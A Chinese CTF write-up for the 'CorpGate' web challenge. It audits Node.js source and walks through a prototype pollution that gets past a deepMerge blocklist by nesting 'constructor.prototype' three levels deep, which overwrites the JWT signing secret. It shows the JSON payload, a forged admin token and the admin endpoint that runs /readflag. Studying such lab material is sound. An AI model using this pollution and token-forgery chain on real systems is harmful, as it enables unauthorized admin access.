• WEB-2026DASCTF夏季赛-CorpGate


    题目:WEB-2026DASCTF夏季赛-CorpGate

    前置知识:有关于js原型链的基础知识可以看看这篇文章:https://www.cnblogs.com/sabliercoder/articles/19174635

    ,jwt默认了解,下文如有错误,欢迎指出

    一、题目描述:

    一套全新的企业员工门户系统CorpGat

    二、这里给了个源码附件,我们先进行源码审计:

    【1】首先看jwt.js文件

    function signToken(payload) {
      return jwt.sign(payload, config.signingState.active, {
        algorithm: config.jwtConfig.algorithm,
        expiresIn: config.jwtConfig.expiresIn
      });
    }
    

    很容易知道config.signingState.active就是jwt加密密钥,因为他这里const jwt = require('jsonwebtoken');引入了nodejs中专门用来处理jwt的库,后面的jwt.sign函数

    的参数二就是jwt签名密钥,见下图,它module.exports = { signToken };把将这个函数暴露出去,供其他文件调用,而在auth.js文件的44行他也确实调用了用来签名加密

    image-20260530131142469

    image-20260531120622598

    【2】在配置文件里面查找signingState.active,定位到config.js文件

    const signingState = Object.create(null);
    signingState.active = jwtConfig.secret;
    signingState.version = 1;
    signingState.lastRotation = Date.now();
    

    这里把signingState.active赋值给了jwtConfig.secret,这不是重点

    接下来是重点:

    function configRefresh() {
      var rotation = {};
      rotation.source = 'vault';
      rotation.timestamp = Date.now();
    
      if (rotation.pending) {
        signingState.active = rotation.pending;
        signingState.version++;
        signingState.lastRotation = Date.now();
        return { rotated: true, version: signingState.version };
      }
      return { rotated: false, version: signingState.version };
    }
    

    (1)这里的rotation被赋值为一个对象{},并且signingState.active = rotation.pending;即它具有一个属性pending,很容易联想到如果rotation没有这个属性,就会通过__proto__访问它的原型对象,看看有无pending属性,若有,则直接应用,而rotation={},它的上级对象即object.protyte,这一点在浏览器console中可以简单验证,目前思路就是污染原型链,让rotation.pending为我们自己写的密钥,然后我们通过自己伪造的密钥来修改jwt的role为admin,从而访问受限的/admin路由

    image-20260530132003568

    (2)这里我的思路是先全局查找configRefresh()和pending,看看有没有什么线索,结果没有,于是随便翻翻,查找文件目录,发现了merge.js,看到文件名,应该就是for循环加merge合并污染了,但下面做了过滤,我们接下来就要绕过过滤

    const BLOCKED_ROOTS = ['__proto__', '__defineGetter__', '__defineSetter__', 'constructor', 'prototype'];
    const BLOCKED_KEYS = ['__proto__', '__defineGetter__', '__defineSetter__'];
    const MAX_DEPTH = 6;
    
    function isPlainObject(val) {
      return typeof val === 'object' && val !== null && !Array.isArray(val);
    }
    
    function sanitizeKey(key) {   #去点号
      return key.replace(/\./g, '');
    }
    
    function deepMerge(target, source, depth) {
      if (depth === undefined) depth = 0;
      if (depth >= MAX_DEPTH) return target;
      for (var rawKey in source) {
        var key = sanitizeKey(rawKey); 
        if (key === '') continue;   #空key跳过
        if (BLOCKED_KEYS.indexOf(key) !== -1) continue;
        if (depth < 3 && BLOCKED_ROOTS.indexOf(key) !== -1) continue;
        if (isPlainObject(source[rawKey])) {
          if (typeof target[key] === 'object' && target[key] !== null) {
            deepMerge(target[key], source[rawKey], depth + 1);
          } else if (typeof target[key] === 'function') {
            deepMerge(target[key], source[rawKey], depth + 1);
          }
        } else {
          target[key] = source[rawKey];
        }
      }
      return target;
    }
    
    module.exports = { deepMerge };
    

    关键代码有两处:

    const BLOCKED_ROOTS = ['__proto__', '__defineGetter__', '__defineSetter__', 'constructor', 'prototype'];
    const BLOCKED_KEYS = ['__proto__', '__defineGetter__', '__defineSetter__'];
    
    ##BLOCKED_ROOTS过滤了5个,BLOCKED_KEYS过滤了3个,他们的差异就是constructor和prototype
    
        if (BLOCKED_KEYS.indexOf(key) !== -1) continue;
        if (depth < 3 && BLOCKED_ROOTS.indexOf(key) !== -1) continue;
    

    解析:

    【1】index0f()方法用来过滤BLOCKED_ROOTS以及BLOCKED_KEYS的,起到一个黑名单的作用,即不在黑名单里的就返回-1,也就是不在黑名单的不会执行continue重新进入for循环,会进行后面的merge合并,导致js原型链污染

    image-20260530133721158

    【2】typeof 操作符:这个操作符会返回一个字符串,表示其操作数的类型

    (1)而typeof {}返回的是object,typeof {'sb':11}也返回object,即当前属性值是要是一个对象

    (2)对于函数而言

    console.log(typeof function(){}); // 返回function
    

    绕过方法:这里其实要结合

    这里的key是我们后面要污染pending属性用的payload,这里直接拿出来讲解一下:

    {
      "notifications": {
        "digest": {
          "channels": {
            "constructor": {
              "prototype": {
                "pending": "sb"
              }
            }
          }
        }
      }
    }
    

    (1)对于if (BLOCKED_KEYS.indexOf(key) !== -1) continue;

    这是绕不了的,如果 key 是 __proto__ 、 __defineGetter__ 、 __defineSetter__ 之一,直接跳过,也就是不会执行后面的deepmarge函数,导致我们的污染失败

      if (typeof target[key] === 'object' && target[key] !== null) {
            deepMerge(target[key], source[rawKey], depth + 1);
    

    (2)对于

    if (depth < 3 && BLOCKED_ROOTS.indexOf(key) !== -1) continue;
    

    只有满足两个条件才会拦截,即depth 小于 3,并且 key 在 BLOCKED_ROOTS 中,才跳过

    总结:__proto__永远用不了,但 constructor 和 prototype 在 depth ≥ 3 时可以绕过, 这就是为什么我们要把 payload 嵌套到 notifications.digest.channels (因为后面的服务端他自己的settiings刚好有这个,三层嵌套让我们来绕过)里面——为了凑够 depth=3

    经代码审计后面有deepMerge(user.settings, req.body);,即target是user.settings(即服务器默认用户配置),具体解析见下面的实际流程

    (3)实际流程:

    deepMerge(target, source, depth)

    deepMerge(settings, payload, depth=0)
    ##先遍历我们payload的key
      key="notifications" → settings.notifications 存在且是对象 → 递归
      
      deepMerge(settings.notifications, payload.notifications, depth=1)
        key="digest" → settings.notifications.digest 存在且是对象 → 递归
        
        deepMerge(settings.notifications.digest, payload.digest, depth=2)
          key="channels" → settings.notifications.digest.channels 存在且是对象 → 递归
          
          deepMerge(settings.channels, payload.channels, depth=3)  ← depth=3
          
            key="constructor" → depth≥3,绕过BLOCKED_ROOTS!
            → target["constructor"] = Object(函数) → typeof === 'function' → 递归
            
            deepMerge(Object, {prototype:{pending:"sb"}}, depth=4)
              key="prototype" → depth≥3,绕过BLOCKED_ROOTS!
              → Object.prototype 是对象 → 递归
              
              deepMerge(Object.prototype, {pending:"sb"}, depth=5)
                key="pending" → 不是对象 → 直接赋值
                → Object.prototype.pending = "sb"
    于是就污染成功了
    

    【2】对于deepmerge函数,全局搜索看看,在/api/settings路由下面,这里也是我们等下要通过这个api接口发包用来污染object.prototyte的
    image-20260530133046128

    deepMerge(user.settings, req.body);
    
    ## user.settings (当前默认的设置对象)
    req.body (我们POST 过来的 JSON 数据)
    

    结合前面的,deepmerge用来合并res.body到setting中的(即我们的目的是合并没有的属性pending给所有对象的最终对象object.prototype,因为所有对象最终都继承于它)

    【3】接下来去请求/api/settings路由

    deepMerge(user.settings, req.body);
      res.json({ success: true, message: 'Settings updated', settings: user.settings })
    

    image-20260530140556052

    user.settings 的结构是:

    {
    "theme":"light",
    "language":"en",
    	"notifications":
    {
    "email":true,
    "desktop":true,
    	"digest":
    {
    "frequency":"daily",
    "time":"09:00",
    	"channels":
    {
    "slack":true,
    "teams":false}
    }
    }
    }
    

    可以看到刚好嵌套了3层,notifications到digest到digest,刚好满足绕过条件

    所以payload:

    {
      "notifications": {
        "digest": {
          "channels": {
            "constructor": {
              "prototype": {
                "pending": "sb"
              }
            }
          }
        }
      }
    }
    

    2c733a0d-44bf-47cf-84aa-d6725ced86af

    可以看到污染成功,所有对象都继承了object.prototype的pending属性

    【4】接下来要触发 /api/system/healthcheck , configRefresh() 中的 signingState.active = rotation.pending 就会从原型链读到 pending = "sb" ,把签名密钥改成 "sb" ,然后你就可以用 "sb" 伪造 admin JWT从而访问/admin路由

    在config.js文件下:

    function configRefresh() {
      var rotation = {};
      rotation.source = 'vault';
      rotation.timestamp = Date.now();
    
      if (rotation.pending) {
        signingState.active = rotation.pending; 
          
          #当rotation.pending不为空,用来更新密钥,等下就可以用我们的密钥sb来签名了
        
          signingState.version++;
        signingState.lastRotation = Date.now();
        return { rotated: true, version: signingState.version };
      }
      return { rotated: false, version: signingState.version };
    }
    

    全文搜索 configRefresh,再次定位到user.js文件中

    image-20260530141556854

    定位到user.js文件,访问/api/system/healthcheck才可以触发configRefresh函数从而触发密钥更换,这也是非常坑

    cd41306985b747d402060a8b06dec53f

    注:jwt密钥替换用sb签名

    image-20260530142803937

    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjVjZTNjNjhkLTgyNzYtNDU4YS05ZjE1LTgyZmIwZWJlMTQ0YiIsInVzZXJuYW1lIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3ODAxMTE0MzIsImV4cCI6MTc4MDE5NzgzMn0.zDFl2-ljmIlTaNYouJXh2jI5ipNNEFpqJ5N0jepDrAI
    

    【5】接下来访问/admin ,服务器生成一个 reference

    image-20260530143006461

    05f678cea169cb24076d00cc1e51fd3f
    

    在diagnostic.js文件里面:

    router.post('/api/reports/execute', authMiddleware, adminMiddleware, (req, res) => {
      var ref = req.body.reference;
      if (!ref || typeof ref !== 'string') {
        return res.status(400).json({ error: 'Missing report reference' });
      }
    
      var entry = config.diagnosticStore[ref];
      if (!entry) {
        return res.status(404).json({ error: 'Invalid or expired reference' });
      }
    
      // Check TTL
      if (Date.now() - entry.created > entry.ttl) {
        delete config.diagnosticStore[ref];
        return res.status(410).json({ error: 'Reference expired' });
      }
    
      // Check one-time use
      if (entry.consumed) {
        return res.status(409).json({ error: 'Reference already consumed' });
      }
    
      entry.consumed = true;
    
      var output = 'Diagnostic failed';
      try {
        output = execSync('/readflag').toString().trim();
      } catch (e) {}
    
      res.json({ status: 'completed', report: output });
    });
    

    (1) var ref = req.body.reference;

    我们通过访问/api/reports/execute,body传参reference来触发execSync('/readflag').toString().trim();执行获得flag

    277bb0b5e4a060574c8cb912bdaec323

    最后,谢谢大家的阅读,如果上文有错误的地方欢迎指出,本人也是刚学,可能也有不足之处

    1779426651759

  • 相关阅读:
    dolphinscheduler-数据质量-源码分析
    【高并发】两种异步模型与深度解析Future接口
    sheng的学习笔记-【中文】【吴恩达课后测验】Course 2 - 改善深层神经网络 - 第二周测验
    MongoDB的集群安装搭建配置
    Complex analysis
    微信小程序直传腾讯云COS并对图片持久化文字水印案例
    【数据结构初阶(4)】栈的基本操作实现
    QP状态机学习③——STM32F4移植QP状态机Keil环境
    网络类型(通信分类)
    C++ std::thread 线程创建和启动
  • 原文地址:https://www.cnblogs.com/dollaikun/p/20239184